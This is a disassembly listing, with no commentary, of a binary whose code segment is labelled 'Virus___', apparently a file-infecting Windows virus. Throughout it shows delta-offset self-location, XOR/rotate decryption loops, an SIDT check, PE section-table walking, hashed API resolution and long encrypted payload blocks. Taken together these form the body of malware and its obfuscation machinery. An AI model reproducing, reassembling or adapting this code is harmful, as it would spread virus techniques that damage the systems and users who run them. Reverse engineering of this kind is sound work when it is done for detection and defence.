loc_56E2B3: ; CODE XREF: Virus___:0056E180j cmp dword ptr [ebp+71B1FC9h], 0 jz loc_56E355 cmp dword ptr [ebp+71B2105h], 0 jnz loc_56E2DE mov edx, [ebp+71B23D5h] add edx, 1CF8h jmp loc_56E2ED ; --------------------------------------------------------------------------- loc_56E2DE: ; CODE XREF: Virus___:0056E2C7j lea edx, [ebp+71B1545h] mov edx, [edx+34h] add edx, 3BD4C340h loc_56E2ED: ; CODE XREF: Virus___:0056E2D9j mov [ebp+71B24BDh], edx cmp dword ptr [ebp+71B24BDh], 0 jz loc_56E355 mov ebx, [ebp+71B24BDh] add ebx, 4Ch mov eax, [ebx] mov [ebp+71E2ED2h], eax mov ebx, [ebp+71B24BDh] add ebx, 50h mov eax, [ebx] mov [ebp+71E2ED6h], eax mov ebx, [ebp+71B24BDh] add ebx, 54h mov eax, [ebx] mov [ebp+71E2EE2h], eax mov ebx, [ebp+71B24BDh] add ebx, 58h mov eax, [ebx] mov [ebp+71E2EE6h], eax mov ebx, [ebp+71B24BDh] add ebx, 5Ch mov eax, [ebx] mov [ebp+71E2EDAh], eax loc_56E355: ; CODE XREF: Virus___:0056E2AEj ; Virus___:0056E2BAj ... cmp dword ptr [ebp+71B1EF5h], 0 jnz loc_56E36F cmp dword ptr [ebp+71B1FC9h], 0 jz loc_56E3D7 loc_56E36F: ; CODE XREF: Virus___:0056E35Cj push dword ptr [ebp+71E2EEAh] push dword ptr [ebp+71E2EDEh] push dword ptr [ebp+71E2EDAh] push dword ptr [ebp+71E2EE6h] push dword ptr [ebp+71E2EE2h] push dword ptr [ebp+71E2ED6h] push dword ptr [ebp+71E2ED2h] lea eax, [ebp+71E2ECCh] push eax lea eax, [ebp+71E2F04h] push eax lea eax, [ebp+71B0685h] push eax call dword ptr [ebp+71B166Dh] add esp, 24h push 40h lea eax, [ebp+71E2EEEh] push eax lea eax, [ebp+71B0685h] push eax push 0 call dword ptr [ebp+71B2959h] push 1 call dword ptr [ebp+71B145Dh] loc_56E3D7: ; CODE XREF: Virus___:0056E369j mov eax, ecx jmp short loc_56E3F3 ; --------------------------------------------------------------------------- db 17h dd 9B46F3h, 4 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_56E3F3: ; CODE XREF: Virus___:0056E3D9j jmp loc_56E603 ; --------------------------------------------------------------------------- loc_56E3F8: ; CODE XREF: Virus___:0056E40Dj pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 71E3298h popa retn 4 ; --------------------------------------------------------------------------- jmp loc_56E3F8 ; --------------------------------------------------------------------------- loc_56E412: ; CODE XREF: Virus___:0056E417j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_56E412 ; --------------------------------------------------------------------------- loc_56E41C: ; CODE XREF: Virus___:0056E421j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_56E41C ; --------------------------------------------------------------------------- loc_56E426: ; CODE XREF: Virus___:0056E42Bj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_56E426 ; --------------------------------------------------------------------------- loc_56E430: ; CODE XREF: Virus___:0056E435j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_56E430 ; --------------------------------------------------------------------------- align 4 dd 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 71E32D0h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 71E32D4h dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 0BD858B00h, 86071B24h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 71B183Dh, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 0BD858B00h, 0C6071B24h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 1B24BD85h, 0A188607h dd 0F6850FDBh, 0C7FFFFFFh, 1B146D85h, 7, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 71B146Dh dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h ; --------------------------------------------------------------------------- jmp dword ptr [ecx-3Dh] ; --------------------------------------------------------------------------- loc_56E603: ; CODE XREF: Virus___:loc_56E3F3j mov ax, ds test al, 4 jz loc_56E637 mov dword ptr [ebp+71E3275h], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+71E3279h] lea eax, [ebp+71E3271h] lea edi, [ebp+71E3279h] mov [eax], edi jmp loc_56E65A ; --------------------------------------------------------------------------- loc_56E637: ; CODE XREF: Virus___:0056E608j lea eax, [ebp+71B1545h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+71E3271h], eax lea eax, [ebp+71B1545h] mov eax, [eax+3Ch] mov [ebp+71E3275h], eax loc_56E65A: ; CODE XREF: Virus___:0056E632j lea eax, [ebp+71E328Eh] mov [ebp+71B183Dh], eax jmp loc_56E6F2 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_56E686 ; --------------------------------------------------------------------------- loc_56E67F: ; CODE XREF: Virus___:0056E688j add [esi], al xor [esi], al ror eax, 1 inc esi loc_56E686: ; CODE XREF: Virus___:0056E67Aj cmp esi, edi jb loc_56E67F popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_56E6AE ; --------------------------------------------------------------------------- loc_56E6A7: ; CODE XREF: Virus___:0056E6B0j xor [esi], al sub [esi], al ror eax, 1 inc esi loc_56E6AE: ; CODE XREF: Virus___:0056E6A2j cmp esi, edi jb loc_56E6A7 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_56E6E1 ; --------------------------------------------------------------------------- loc_56E6CE: ; CODE XREF: Virus___:0056E6E3j lodsb cmp al, 2Dh jz loc_56E6E1 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_56E6E1: ; CODE XREF: Virus___:0056E6C9j ; Virus___:0056E6D1j or ecx, ecx jnz loc_56E6CE mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_56E6F2: ; CODE XREF: Virus___:0056E666j lea eax, [ebp+71E3501h] mov [ebp+71B0CD5h], eax lea eax, [ebp+71E3529h] mov [ebp+71B0599h], eax lea eax, [ebp+71E3551h] mov [ebp+71B058Dh], eax call sub_56E721 ; --------------------------------------------------------------------------- db 8Fh dd 4047D164h db 2Bh ; =============== S U B R O U T I N E ======================================= sub_56E721 proc near ; CODE XREF: Virus___:0056E716p var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00542F20 SIZE 00000047 BYTES or dh, 2Ch pop esi jmp loc_56E73D ; --------------------------------------------------------------------------- dw 0FFAFh dd 0F4D25539h, 5A703542h, 0FAD0B85Fh, 585B5132h db 39h ; --------------------------------------------------------------------------- loc_56E73D: ; CODE XREF: sub_56E721+4j add esi, 6427h jmp loc_56E751 ; --------------------------------------------------------------------------- dd 4E8F9BC7h, 2D105B09h db 0E3h ; --------------------------------------------------------------------------- loc_56E751: ; CODE XREF: sub_56E721+22j mov edi, 18DEh movsx ebx, cx loc_56E759: ; CODE XREF: sub_56E721:loc_56E7B7j mov eax, [esi] mov ebx, eax add eax, 53B73F95h mov ecx, 0ACA22E3h sub eax, 377B2CF4h mov edx, 537E9F51h add eax, 350CEA7Fh mov bx, dx mov [esi], eax pusha mov ax, di movsx ebx, cx popa sub esi, 4 sub dl, 43h sub edi, 1 jnz loc_56E7A9 mov edx, 659ED40Ah jmp loc_56E7CE ; --------------------------------------------------------------------------- db 0EEh ; --------------------------------------------------------------------------- inc ecx cmp dword ptr [ebx], 144F505Ch jo short loc_56E80C loc_56E7A9: ; CODE XREF: sub_56E721+6Ej jmp loc_56E7B7 ; --------------------------------------------------------------------------- dw 0D927h ; --------------------------------------------------------------------------- and ebx, [esi-21h] stosb cmpsb cmp al, 59h loc_56E7B7: ; CODE XREF: sub_56E721:loc_56E7A9j jmp loc_56E759 ; --------------------------------------------------------------------------- inc byte ptr [ebx+66h] sbb al, 85h sub [ebp+3117A6E7h], esi jb short loc_56E806 and esp, [edx] db 66h fxch4 st(5) loc_56E7CE: ; CODE XREF: sub_56E721+79j jmp short loc_56E7D8 ; --------------------------------------------------------------------------- dd 2 dup(0) ; --------------------------------------------------------------------------- loc_56E7D8: ; CODE XREF: sub_56E721:loc_56E7CEj jmp loc_56E858 ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh dd 0FE244C01h, 24C2835Ah, 2105858Bh, 858D071Bh, 71E674Bh dd 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah db 6Ah, 36h ; --------------------------------------------------------------------------- loc_56E806: ; CODE XREF: sub_56E721+A6j push ds pop es ; --------------------------------------------------------------------------- assume es:___ dd 226DBD83h ; --------------------------------------------------------------------------- loc_56E80C: ; CODE XREF: sub_56E721+86j sbb eax, [edi] add [edi], cl test [edi], cl ; --------------------------------------------------------------------------- dw 0 dd 6A6000h, 128995FFh, 0E961071Bh, 0FFFFFFC4h, 0FC728966h dd 6610CEC1h, 52027289h, 895A04CDh, 1E366685h, 6AB58B07h dd 0C1071E36h, 896610CEh, 0B58B0272h, 71E366Ah, 0FC728966h dd 66858B61h, 0C3071E36h ; --------------------------------------------------------------------------- loc_56E858: ; CODE XREF: sub_56E721:loc_56E7D8j lea edx, [ebp+71B0151h] mov [ebp+71B24BDh], edx mov [ebp+71B007Dh], edx inc dword ptr [ebp+71B007Dh] mov byte ptr [ebp+71B1C05h], 53h push 0FCB148D8h push dword ptr [ebp+71B225Dh] lea eax, [ebp+71B3B0Ch] call eax mov [ebp+71B1289h], eax lea eax, [ebp+71E32A8h] mov [ebp+71B2A4Dh], eax jmp loc_56E8F2 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_56E8BC: ; CODE XREF: sub_56E721+1C6j cmp ecx, 0 jz loc_56E8DB cmp edi, [edx+0Ch] jg loc_56E8E3 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_56E8DB: ; CODE XREF: sub_56E721+19Ej ; sub_56E721+1CCj mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_56E8E3: ; CODE XREF: sub_56E721+1A7j add edx, 28h dec ecx jnz loc_56E8BC jmp loc_56E8DB ; --------------------------------------------------------------------------- loc_56E8F2: ; CODE XREF: sub_56E721+17Bj mov edx, 9FD3Eh jmp short loc_56E919 ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) db 0 ; --------------------------------------------------------------------------- loc_56E919: ; CODE XREF: sub_56E721+1D6j jmp loc_56EF0D ; --------------------------------------------------------------------------- jmp loc_56EF06 ; --------------------------------------------------------------------------- push 71E398Ch jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E3A51h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E3C3Fh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E3CB2h jmp loc_542F20 ; --------------------------------------------------------------------------- db 0DEh dd 0A42CFF14h, 6DE78459h, 37B1528Fh, 824A19C0h, 0F806A576h dd 4D8E6A35h, 14CD36BEh, 0A17CFD77h, 69A24A02h, 7B2476DAh dd 94C19D5Ch, 325C4EDCh, 8A1817C4h, 393F359Dh, 0D1ED2FE0h dd 0C7A50F39h, 9D44C325h, 0DA39A3Eh, 75AA7783h, 66D970FBh dd 0C9A6EEA2h, 36256DB9h, 13ED31Ch, 50EB7AADh, 5F13886Fh dd 3Fh, 736714Dh, 8B010D60h, 4C6E329Ch, 8F8DA366h, 69B04788h dd 77114351h, 3FD54A8Fh, 16E9981Fh, 0EA9649FEh, 6C94A99Eh dd 3D3A5446h, 90002B1Ch, 0E162752Eh, 0CCE694C1h, 24A05Bh dd 6E0E0000h, 8DA3664Bh, 0B6E4898Eh, 0A95295CDh, 0DE942094h dd 750FCA8Ah, 0C510CBC9h, 4594C1A6h, 274FFE29h, 393F6A84h dd 0C8642FE0h, 133C098Ah, 9FB34E5h, 4EF22DF0h, 0A35D3A9Ah dd 0EEC276Fh, 4ACE3ECDh, 9E5DF7A5h, 0AB94C443h, 0DA37510h dd 0A4306288h, 21D622CAh, 0E1AC9B1Eh, 0B152876Fh, 0C969D7EFh dd 5E871h, 0D1ED22F7h, 79FE8EB9h, 0DBFDA6F4h, 0BE14AD9Ch dd 0B1A86594h, 0EBCD3FE5h, 33AED05h, 599FA9EBh, 0F20AD722h dd 4D77E35h, 0BD0687F4h, 0B4AC63BEh, 0E69A9546h, 6585E232h dd 0D87261B1h, 40995E21h, 25DFF7CFh, 0BF1708D5h, 1C5E9988h dd 0ACA61AA4h, 2908F40h, 0DDBC13FAh, 0C87F6F83h, 7C67h dd 0C0474B00h, 16E56F2Dh, 0C97E54CBh, 5404A49Fh, 0D0794A9h dd 0A1FD32EFh, 9BAD08F3h, 12D94C1h, 0AC2F3706h, 0EDBC3A5Ch dd 54FEDCF4h, 1CD477A8h, 53FB3FD0h, 0A0575B18h, 35E8C6Fh dd 49B30000h, 8C79F390h, 34C28A59h, 6F8C44E7h, 0A35711B2h dd 8A95AD7Eh, 45E63B3Fh, 1AA9608Bh, 0A97AA752h, 6102D71Fh dd 7AE8983h, 8B94C19Fh, 0DFE7F7FBh, 2E14208Eh, 8A7DAA2Eh dd 320h, 9A393FE4h, 5DD207F0h, 65FBDA41h, 0E6F48DA3h, 0BFBEB278h dd 59717D3Eh, 179C3FE6h, 8BFD8DA4h, 0A41805D0h, 0BE69858Dh dd 0A41754E7h, 181CBC8Dh, 0E3F68DA4h, 0F8DA417h, 8DA417ACh dd 0A4187544h, 1CC814CDh, 0B93988B5h, 7FF870B7h, 77F3ACEEh dd 0F354A838h, 0B3B444FBh, 15C38B2Ah, 0BAD263D8h, 82B3DC18h dd 51DB9539h, 0E25486D6h, 0C09F9E39h, 1F082254h, 0CB79C244h dd 0EE0A205Bh, 9E735868h, 99F37A95h, 6E000002h, 34BC4F84h dd 0FD7714C9h, 4701A27Fh, 12DA69B0h, 689635E6h, 0DD7EFAC5h dd 64BD460Eh, 31EC0DC7h, 0F912DA92h, 0EBD4C62Ah, 94C19FCCh dd 3FB2BE4Ch, 1CBB4037h, 0A3659423h, 0C61E148Dh, 0E25D7549h dd 32600D0Ah, 0F2469EC0h, 0FBAEE2EAh, 279225EEh, 649D8DA4h dd 11144E5Dh, 72FCCh, 0A9FBFD41h, 0D6757194h, 6003D81Eh dd 0CBC912E8h, 0D306EF99h, 0C2046D48h, 46C1ED94h, 9175418Bh dd 98215DF4h, 55D2AA9Dh, 4501FAD8h, 0A99BC82Ch, 0C4CF6CADh dd 9E34EB34h, 5F5EA556h, 1EBD6407h, 0DB8DA419h, 18C3D15Ch dd 94AA0550h, 781280AAh, 0C0885B8Ch, 4FB1E334h, 0C1EA4194h dd 62A5C194h, 0EEB65B7h, 3E8D54D3h, 0FB94C1EAh, 71A3F17Ch dd 0E981540Fh, 0C33894C1h, 702B5D1Eh, 94C1EA65h, 76B1C9E5h dd 0C7D6A7AFh, 91032B9Bh, 1630CC45h, 0FE2970AFh, 8758A4AEh dd 9942B4E4h, 8DA3E73Eh, 0D0E90649h, 0A0531955h, 433E628Ah dd 15B5DB6Eh, 1DA2212h, 0DF02F993h, 0E7E2AD68h, 28DA401h dd 712A6805h, 94A9EEF5h, 972F6D79h, 7BAD7F05h, 304F77EBh dd 0B8737E3Ch, 0A8A2FA2Dh, 0AF06F15Ch, 3394C1E2h, 8CAF662Bh dd 257DAE87h, 0EF67E0Dh, 95925AD5h, 0A1C1BA18h, 349BC759h dd 13ED31Ah, 0ABC37AADh, 960EAD74h, 0D198DA3h, 75E41FC5h dd 25AB9388h, 8F000000h, 0EBCAB5E7h, 6F8DA365h, 0BA01C047h dd 7E8DA368h, 1Fh, 2AF7040Eh, 5CFD7BF5h, 70A94E04h, 9620E7BFh dd 3E44DFE7h, 0F78892h, 0D67D5C07h, 47628DA3h, 0E56F2DC0h dd 0C5CCB16h, 0A9520B53h, 35678F94h, 0E158F5A9h, 2C17E931h dd 94C1D989h, 42C51D09h, 0CB62E597h, 0B314EEC9h, 35679BCCh dd 0A8C46B4Ah, 40C7EF8Dh, 42975FE9h, 0A520E2Ah, 6CA35E74h dd 0AB8Dh, 5DF60000h, 0EA3FC68Eh, 0B0698F59h, 7FA25913h dd 0BD424ACh, 8CD74678h, 5810B36Ch, 1FA97AAFh, 0EC6407DAh dd 0D03CCF00h, 0A1BA1DC6h, 0AC3E94C1h, 2DC04780h, 6998576Fh dd 0A821F006h, 0EA722D7Fh, 6C94AA4Eh, 57C815E4h, 0A0E8277Fh dd 8BDF1D14h, 78AF7BEFh, 0B4E68780h, 425F5628h, 0AC9BC721h dd 286D837Ch, 618D9BCDh, 73A61755h, 402BE45Eh, 38h, 1DAE638Dh dd 0D477AA53h, 6E3DDE1Ch, 3BC811E6h, 0F79449B1h, 0E11964CBh dd 1AE56F3Ch, 4DAC24C7h, 8D79F390h, 73A58B58h, 0C1A22D88h dd 1519AD94h, 346h, 0F10D2800h, 231C353Fh, 1F10C531h, 1609D425h dd 33CD51Eh, 0FB34E911h, 0F32CF109h, 0E827FA01h, 0E6598278h dd 0DD52876Eh, 595451D3h, 4C181h, 0E9830000h, 240C8704h dd 3D2F685Ch, 3C890000h, 34AD6824h, 2C890000h, 7F685224h dd 8B387574h, 0C4832414h, 7FCA8104h, 81307240h, 0A6C362C2h dd 5AD789CEh, 242C8B54h, 4C481h, 81570000h, 61432434h dd 458F15DEh, 0FBB5308h, 814E7C20h, 1A3701CBh, 4CF3810Eh dd 315BA056h, 8B5B085Dh, 8956242Ch, 4C681E6h, 83000000h dd 348704C6h, 34FF5C24h, 0C4815F24h, 4, 0FD401FE9h, 759F9EFFh ; --------------------------------------------------------------------------- adc al, 0E6h loc_56EF06: ; CODE XREF: sub_56E721+1FDj mov eax, 71E3D0Fh add eax, ebp loc_56EF0D: ; CODE XREF: sub_56E721:loc_56E919j mov ecx, eax jmp short $+2 jmp loc_56F538 ; --------------------------------------------------------------------------- jmp loc_56F531 ; --------------------------------------------------------------------------- push 71E3EA6h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E3FB3h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4051h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E411Ch jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4257h jmp loc_542F20 ; --------------------------------------------------------------------------- db 0DCh, 12h, 0F9h dd 865BA22Ah, 4C8D6BE5h, 1BC635BFh, 0A7788048h, 6833FA04h dd 34BC4F90h, 0FB7516CBh, 4800A37Eh, 74D86BBCh, 0A35E7922h dd 50E294C1h, 9BB5E75Ch, 4097BC5Dh, 0C08DA366h, 17A27DAAh dd 0FB8DA366h, 8DA365DCh, 0A365A434h, 0AE4DC78Dh, 21E6BC73h dd 0A3665B7Eh, 0E5143E8Dh, 0EE0D0738h, 752C1B33h, 8DA36667h dd 0A366308Bh, 5D6EE90Dh, 0F7CF409Dh, 8802FDDFh, 8314AE6Ch dd 0E9D7C13Bh, 0E95E7EA4h, 0CC46545Eh, 9953F02Dh, 0EA82BD60h dd 60D2C06Dh, 0BED920B7h, 9D8AA014h, 866F194Bh, 0D9674E29h dd 0C3EB14BEh, 71FC74ABh, 3B5363DCh, 0B1D3550Ch, 0DFD71BC9h dd 7915AB9Bh, 34C758DEh, 46Dh, 0E9BA6F99h, 0A043965Fh dd 7A09D228h, 37D405F2h, 0C360BDBDh, 0D52570BFh, 6F17B08h dd 41B830D3h, 0F905CF9Ch, 6FA98724h, 0C1A421B4h, 111DA194h dd 0B440373Fh, 0DD44B63h, 8DA365AFh, 9E55BD69h, 66EEBD56h dd 5ACA459Eh, 2C67992h, 23CB064Eh, 194B5DEEh, 65E9CCB7h dd 7D698DA3h, 0A365FFD6h, 0BC6B838Dh, 88A68AA5h, 3D50593h dd 3FE90000h, 622DE237h, 8DA36658h, 6AA1F1A5h, 56BA4982h dd 0ED2ECA44h, 65E1F4AFh, 45618DA3h, 6D18AC2h, 8A8DA366h dd 44B5AF60h, 0FA02CA99h, 0A4AEEE21h, 9C948B54h, 0BC6B835Ch dd 3A04DCCh, 0CE78BD49h, 0FA7C1A14h, 0DDF52ED6h, 0FAA51785h dd 8DA368DBh, 25D0575Fh, 78AD59F3h, 8A75EFC7h, 5DCAD857h dd 52F128D3h, 816C7A42h, 84BC4834h, 3F9C083h, 0BF488DA4h dd 44C3B56Ah, 0ACB502B9h, 0C51DFCE7h, 225965D7h, 0F45A8C25h dd 50CE9196h, 8294AE4Ch, 49024C68h, 1CF3575Eh, 3605Dh dd 0A9628C00h, 76AB521Ah, 3CDD1BD5h, 0CB16E56Fh, 9748B038h dd 1863CAF4h, 0E46C3FE0h, 0AB25C61Bh, 78F0934Eh, 0A4885B8Ch dd 0A52E8972h, 20B294C1h, 40373F0Ch, 1AA867B8h, 2BD34DC2h dd 3CC739F6h, 0E10BB5F5h, 0AF8899B8h, 8DA40208h, 224A6288h dd 394D56A3h, 8E5D7548h, 0A39B0497h, 2EB658Dh, 328958CFh dd 8F8DA3ABh, 0D7EFAD64h, 4FB4972Eh, 0D7828533h, 0A450AD0Ch dd 42EB6C8Dh, 2E956750h, 5AF494AFh, 7D580392h, 0FD94BF33h dd 4C66D9F1h, 2E4A60DBh, 575DA12Ah, 0C2B544DBh, 6E000002h dd 34BC4F84h, 0FD7714C9h, 4701A27Fh, 12DA69B0h, 689635E6h dd 0DD7EFAC5h, 64BD460Eh, 31EC0DC7h, 0F912DA92h, 0EBD4C62Ah dd 94C1A5CCh, 3FB2BE4Ch, 332DE237h, 388416CBh, 0FB92CD06h dd 8732F5E6h, 0AC111C1h, 0C39A29E2h, 93883728h, 62752E90h dd 0E68DA3C9h, 3CF65BCCh, 0D8000002h, 0A3664B6Eh, 0DE03F68Dh dd 0BF19B0Dh, 1ADF51D6h, 0D6499465h, 0F96BA4FCh, 0BE62DD00h dd 4106506Ch, 1998DF92h, 2D7A81D1h, 62A5DF29h, 4CAD64ACh dd 0D06BF291h, 0DF93880Eh, 62h, 8C6DE7B3h, 2126D651h, 0A7550E8Ch dd 2394AE59h, 918E53A9h, 72399C47h, 0ADB994BEh, 795C0795h dd 0F994BE72h, 0C3A1D5EDh, 30575E62h, 1F71CDFh, 0D9230000h dd 1CE96300h, 44B23AC9h, 0FF7CF497h, 33C78122h, 0FA255DEEh dd 0F5964BAFh, 8A59F07Bh, 59EA37C2h, 11B2678Fh, 973E1933h dd 1B94C1A6h, 715B678Bh, 2BF6050Fh, 6275DEF4h, 0E68DA366h dd 354D866Eh, 0DEE1DAF2h, 528DA365h, 8C6DE758h, 1CD60BF3h dd 44E73FD0h, 0EDAF608Ch, 65F5C0BBh, 79758DA3h, 0F06903CEh dd 0D326AE7Dh, 0BF37D0Eh, 153F59D6h, 0A9053AE7h, 0D40DF67Eh dd 0CAB94C6h, 8C8DA366h, 0AA86A166h, 0CA1FE660h, 9ECE7955h dd 0A36612A5h, 0A56F778Dh, 0A079FF64h, 11719B98h, 100F2716h dd 6201DA20h, 26199692h, 7013C82Eh, 8A759420h, 8F674F63h dd 0F4F2C998h, 30378DA3h, 0A3AD1FBDh, 388A8554h, 0F516A19Ah dd 909A8DA3h, 0CB96CC97h, 0AEC494AEh, 469B62ECh, 0BF3E3A54h dd 1AA867BAh, 6AE245C2h, 0DF105E83h, 13EF3B98h, 0CBE33BE6h dd 0BA1DDC54h, 0BE8CF6C1h, 58707A94h, 0F324D07Ah, 355F7934h dd 2DED15C8h, 0BC4EB914h, 6A959F88h, 728878B7h, 818676A9h dd 58A4AEECh, 6F988887h, 112985BAh, 431DC616h, 0B79BC9DFh dd 0E3F37BBFh, 0F005E78h, 0BC6Ch, 459E6800h, 12C72EA6h dd 0D801F771h, 67BA410Bh, 33EC0CC4h, 0F4BF6E90h, 4008DB04h dd 7C162B7h, 0D49C2FF2h, 0F854F728h, 0A7D2E5DEh, 0C45694C1h dd 98373FA8h, 0A36618BFh, 0C830988Dh, 0E2DDFF17h, 8DA365D3h dd 8075F57h, 993BEC18h, 8B7007EFh, 0ADC5D956h, 28E72072h dd 0B56CA474h, 14CD3649h, 7BB42FFCh, 0C59388A6h, 0F76DAC4Bh dd 0C768DF02h, 1Fh, 664C6EABh, 0FF78DA3h, 0ED6709DAh, 475FD00Dh dd 664B6A55h, 0A7CF8DA3h, 1B8960h, 6E190000h, 8DA3664Bh dd 0C7D50EF6h, 0BC73AE4Dh, 960621E6h, 89CE1F4Eh, 0D156B85Ch dd 18B60BF9h, 9, 1F69002h, 0D84F67D8h, 1C353FFEh, 10C53123h dd 9D4251Fh, 3CD51E16h, 34E91103h, 2CF109FBh, 27FA01F3h dd 598278E8h, 52876EE6h, 8957D3DDh, 4C781E7h, 83000000h dd 3C8704EFh, 1C895C24h, 4C846824h, 0C890000h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 53241C89h, 0B945E268h dd 0BD555B69h, 26756935h, 0F101C581h, 0EB31FB41h, 81DBF75Dh dd 2C5DB7C3h, 5BD9894Fh, 1CA768h, 24248900h, 4240483h dd 481515Bh, 0BD268C24h, 8438F2Dh, 268CBE56h, 73292DBDh dd 34FF5E08h, 0C4835B24h, 2434FF04h, 4C48359h, 0FD39F7E9h dd 69A28FFFh, 0FE69946Ch ; --------------------------------------------------------------------------- inc edi loc_56F531: ; CODE XREF: sub_56E721+7F5j mov eax, 71E4338h add eax, ebp loc_56F538: ; CODE XREF: sub_56E721+7F0j mov edx, ecx jmp loc_56F6A1 ; --------------------------------------------------------------------------- db 25h dd 0E70EC16Ch, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh dd 2CAE29h, 340000h, 380000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 65530000h, 63697672h, 61502065h, 32206B63h, 26h dup(0) db 0 ; --------------------------------------------------------------------------- loc_56F6A1: ; CODE XREF: sub_56E721+E19j jmp loc_5716CB ; --------------------------------------------------------------------------- push 71E477Ah jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4869h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E490Eh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E49C4h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4A80h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4B64h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4C0Bh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E4CCFh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5071h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E50E4h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5248h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5564h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5904h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5C6Eh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5E28h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5ECBh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5F2Dh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E5F8Ah jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E6111h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E6225h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71E63F2h jmp loc_542F20 ; --------------------------------------------------------------------------- dd 7112C731h, 8DB0EF7h, 0C261BA40h, 9F2CED0Ah, 2BF825D5h dd 0BDBD0817h, 0FE09C360h, 29D0982Bh, 519D57F4h, 1701EFBCh dd 0C1AB892Ch, 69850994h, 2DE2373Fh, 0B36CCB33h, 8DA36624h dd 